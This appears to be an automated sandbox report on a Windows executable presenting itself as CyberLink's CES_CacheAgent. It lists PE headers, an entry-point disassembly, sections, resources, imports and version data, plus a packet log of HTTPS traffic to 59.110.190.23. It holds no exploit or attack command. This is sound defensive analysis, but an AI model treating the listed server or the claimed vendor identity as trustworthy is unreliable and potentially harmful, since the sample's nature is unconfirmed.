CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	7294e9792d43808cb1377d936cc5b396

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F0BF0685ED8h
dec eax
add esp, 28h
jmp 00007F0BF067A404h
int3
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], esi
push edi
dec eax
sub esp, 30h
call 00007F0BF0688CC1h
movzx esi, ax
mov ecx, 00000002h
call 00007F0BF068AAD4h
mov eax, 00005A4Dh
dec eax
lea edi, dword ptr [FFFF64CBh]
cmp word ptr [FFFF64C4h], ax
je 00007F0BF0685D16h
xor ebx, ebx
jmp 00007F0BF0685D43h
dec eax
arpl word ptr [FFFF64F3h], ax
dec eax
add eax, edi
cmp dword ptr [eax], 00004550h
jne 00007F0BF0685CFCh
mov ecx, 0000020Bh
cmp word ptr [eax+18h], cx
jne 00007F0BF0685CF1h
xor ebx, ebx
cmp dword ptr [eax+00000084h], 0Eh
jbe 00007F0BF0685D1Bh
cmp dword ptr [eax+000000F8h], ebx
setne bl
mov dword ptr [esp+40h], ebx
call 00007F0BF068A345h
test eax, eax
jne 00007F0BF0685D34h
cmp dword ptr [0001DCD1h], 01h
jne 00007F0BF0685D17h
call 00007F0BF0688793h
mov ecx, 0000001Ch
call 00007F0BF06887FDh
mov ecx, 000000FFh
call 00007F0BF068804Fh
call 00007F0BF068A276h
test eax, eax
jne 00007F0BF0685D34h
cmp dword ptr [0001DCA6h], 01h
jne 00007F0BF0685D17h
call 00007F0BF0688768h
mov ecx, 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[RES] VS2012 UPD4 build 61030
[LNK] VS2012 UPD4 build 61030

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x264f0	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3b000	0xc210	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x39000	0x1260	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x48000	0x818	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1c4a0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x24370	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1c000	0x408	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1a14f	0x1a200	1f978950b3c07ce250a2ee7168aef833	False	0.5482954545454546	data	6.520340550798719	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1c000	0xb284	0xb400	b5f2598fbd792422c75f678403b8f827	False	0.3507161458333333	data	4.307403577250715	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x28000	0x10eb8	0xe200	1dfeb741da5b34dee6e4a468d83dc35f	False	0.8511649612831859	data	7.59217953304068	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x39000	0x1260	0x1400	6ad002b7409aeb0423cf91a3facf0389	False	0.4572265625	data	4.909850675242774	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x3b000	0xc210	0xc400	8ce1a81d6a8305ff1f76af7c828d1291	False	0.1279296875	data	4.346243876496778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x48000	0x1508	0x1600	373ccf393edb439c40f75d87e463235a	False	0.22123579545454544	data	2.8368340449902925	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3b508	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	United States	0.14650537634408603
RT_ICON	0x3b7f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	United States	0.30405405405405406
RT_ICON	0x3b918	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.3070362473347548
RT_ICON	0x3c7c0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.4842057761732852
RT_ICON	0x3d068	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.3670520231213873
RT_ICON	0x3d5d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.1087136929460581
RT_ICON	0x3fb78	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.23170731707317074
RT_ICON	0x40c20	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.3599290780141844
RT_ICON	0x41088	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	United States	0.14650537634408603
RT_ICON	0x41370	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	United States	0.30405405405405406
RT_ICON	0x41498	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.3070362473347548
RT_ICON	0x42340	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.4842057761732852
RT_ICON	0x42be8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.3670520231213873
RT_ICON	0x43150	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.1087136929460581
RT_ICON	0x456f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.23170731707317074
RT_ICON	0x467a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.3599290780141844
RT_MENU	0x46c08	0x4a	data	English	United States	0.8648648648648649
RT_DIALOG	0x46c54	0x14c	data	English	United States	0.5632530120481928
RT_STRING	0x46da0	0x58	data	English	United States	0.625
RT_ACCELERATOR	0x46df8	0x10	data	English	United States	1.25
RT_GROUP_ICON	0x46e08	0x76	data	English	United States	0.6440677966101694
RT_GROUP_ICON	0x46e80	0x76	data	English	United States	0.6610169491525424
RT_VERSION	0x46ef8	0x318	data	Chinese	Taiwan	0.4431818181818182

Imports

DLL	Import
SHLWAPI.dll	PathFileExistsW
KERNEL32.dll	SetFilePointerEx, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, SetEvent, WaitForSingleObject, CloseHandle, MultiByteToWideChar, GetLastError, GetProcAddress, LoadLibraryExW, LoadLibraryW, CreateThread, FreeLibrary, GetCurrentThreadId, UnmapViewOfFile, GetCurrentProcessId, LoadLibraryA, GetPrivateProfileStringW, CreateMutexW, CreateEventW, CreateFileMappingW, MapViewOfFile, ReleaseMutex, Sleep, OutputDebugStringW, ResumeThread, SuspendThread, OpenThread, TerminateThread, OpenProcess, GetPriorityClass, SetPriorityClass, CreateToolhelp32Snapshot, Thread32First, Thread32Next, SetThreadPriority, IsValidCodePage, DeleteFileW, GetVolumeInformationW, CreateEventA, GetConsoleMode, GetConsoleCP, WideCharToMultiByte, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetModuleFileNameA, GetFileType, GetProcessHeap, GetModuleHandleW, GetStartupInfoW, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, TerminateProcess, GetCurrentProcess, GetACP, InitializeCriticalSectionAndSpinCount, SetLastError, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlVirtualUnwind, RtlCaptureContext, GetModuleFileNameW, WriteFile, GetStdHandle, SetStdHandle, WriteConsoleW, CreateFileW, FlushFileBuffers, GetStringTypeW, LCMapStringW, HeapReAlloc, HeapSize, GetModuleHandleExW, GetCPInfo, GetOEMCP, EncodePointer, DecodePointer, IsDebuggerPresent, IsProcessorFeaturePresent, GetCommandLineA, QueryPerformanceCounter, GetSystemTimeAsFileTime, RtlLookupFunctionEntry, RtlUnwindEx, RtlPcToFileHeader, VirtualAlloc, HeapFree, HeapAlloc, ExitProcess
USER32.dll	FindWindowW, PostMessageA, EndDialog, EndPaint, BeginPaint, DefWindowProcA, DialogBoxParamA, UpdateWindow, ShowWindow, CreateWindowExA, RegisterClassExA, LoadCursorA, LoadIconA, TranslateAcceleratorA, LoadAcceleratorsA, TranslateMessage, DispatchMessageA, GetMessageA, LoadStringA, DestroyWindow, PostQuitMessage
ADVAPI32.dll	RegOpenKeyExW, RegCloseKey, RegQueryValueExW
ole32.dll	CoInitializeEx, CoUninitialize, CoCreateInstance
gdiplus.dll	GdiplusStartup, GdiplusShutdown

Version Infos

Description	Data
CompanyName	CyberLink Corp.
FileDescription	CES_CacheAgent Application
FileVersion	20.0.1.1003
InternalName	CES_CacheAgent
LegalCopyright	Copyright (C) 2010
OriginalFilename	CES_CacheAgent.exe
ProductName	CES_Cach Application
ProductVersion	20.0.1.1003
Translation	0x0404 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Chinese	Taiwan

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 1296
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 28, 2025 16:40:35.815808058 CEST	49694	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:35.815893888 CEST	443	49694	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:35.816015005 CEST	49694	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:35.846786976 CEST	49694	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:35.846813917 CEST	443	49694	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:36.824570894 CEST	443	49694	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:36.824812889 CEST	49694	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:36.825400114 CEST	443	49694	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:36.825494051 CEST	49694	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:36.882622004 CEST	49694	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:36.882646084 CEST	443	49694	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:36.883048058 CEST	443	49694	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:36.883239985 CEST	49694	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:36.885777950 CEST	49694	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:36.928277016 CEST	443	49694	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:37.248313904 CEST	443	49694	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:37.248445988 CEST	49694	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:37.248493910 CEST	443	49694	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:37.248677015 CEST	49694	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:37.258953094 CEST	49694	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:37.258997917 CEST	443	49694	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:37.439151049 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:37.439207077 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:37.439304113 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:37.439551115 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:37.439563036 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:38.365993023 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:38.366117954 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:38.366823912 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:38.366835117 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:38.367055893 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:38.367060900 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.652446032 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.652468920 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.652497053 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.652607918 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.652607918 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.652673960 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.652741909 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.658113003 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.658201933 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.660969019 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.661046982 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.666634083 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.666733980 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.669497013 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.669578075 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.672492981 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.672566891 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.678292990 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.678389072 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.681051970 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.681128979 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.686836958 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.686918020 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.689820051 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.689903975 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.694252968 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.694350958 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.698402882 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.698506117 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.701359034 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.701436043 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.707185984 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.707276106 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.961579084 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.961725950 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.964349031 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.964384079 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.964433908 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.964448929 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.964476109 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.964500904 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.969927073 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.970067978 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.974983931 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.975059032 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.978046894 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.978138924 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.981479883 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.981550932 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.986581087 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.986648083 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.989437103 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.989504099 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:39.995574951 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:39.995646954 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.001228094 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.001290083 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.002427101 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.002482891 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.008250952 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.008364916 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.014007092 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.014070988 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.016880035 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.016937971 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.019814968 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.020046949 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.025512934 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.025563955 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.267262936 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.267390966 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.271537066 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.271591902 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.271658897 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.271667957 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.271683931 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.271688938 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.271719933 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.271739006 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.279287100 CEST	49695	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.279301882 CEST	443	49695	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.304488897 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.304541111 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:40.304644108 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.305013895 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:40.305027962 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:41.294601917 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:41.294779062 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:41.295273066 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:41.295278072 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:41.295486927 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:41.295495033 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:41.808538914 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:41.808566093 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:41.808626890 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:41.808660984 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:41.808676004 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:41.808707952 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:41.809035063 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:41.809092999 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:41.809108019 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:41.809163094 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.124185085 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.124238968 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.124316931 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.124353886 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.124366999 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.124371052 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.124401093 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.124408007 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.124418974 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.124438047 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.124471903 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.124476910 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.124516010 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.124551058 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.124588013 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.124605894 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.124612093 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.124643087 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.124659061 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.502155066 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.502245903 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.502278090 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.502336979 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.502365112 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.502430916 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.502456903 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.502511024 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.502537012 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.502593040 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.502615929 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.502671957 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.502700090 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.502756119 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.502815008 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.502868891 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.502892971 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.502950907 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.502969980 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.503029108 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.503084898 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.503142118 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826009989 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826085091 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826102018 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826118946 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826134920 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826152086 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826165915 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826172113 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826190948 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826203108 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826216936 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826220989 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826255083 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826255083 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826268911 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826286077 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826297998 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826323986 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826332092 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826347113 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826350927 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826373100 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826378107 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826421022 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826421022 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826452017 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826459885 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826468945 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826484919 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826503038 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826538086 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826545000 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826559067 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826576948 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826591015 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826594114 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.826623917 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.826648951 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827032089 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827094078 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827105999 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827114105 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827142954 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827148914 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827159882 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827178955 CEST	443	49696	59.110.190.23	192.168.2.6
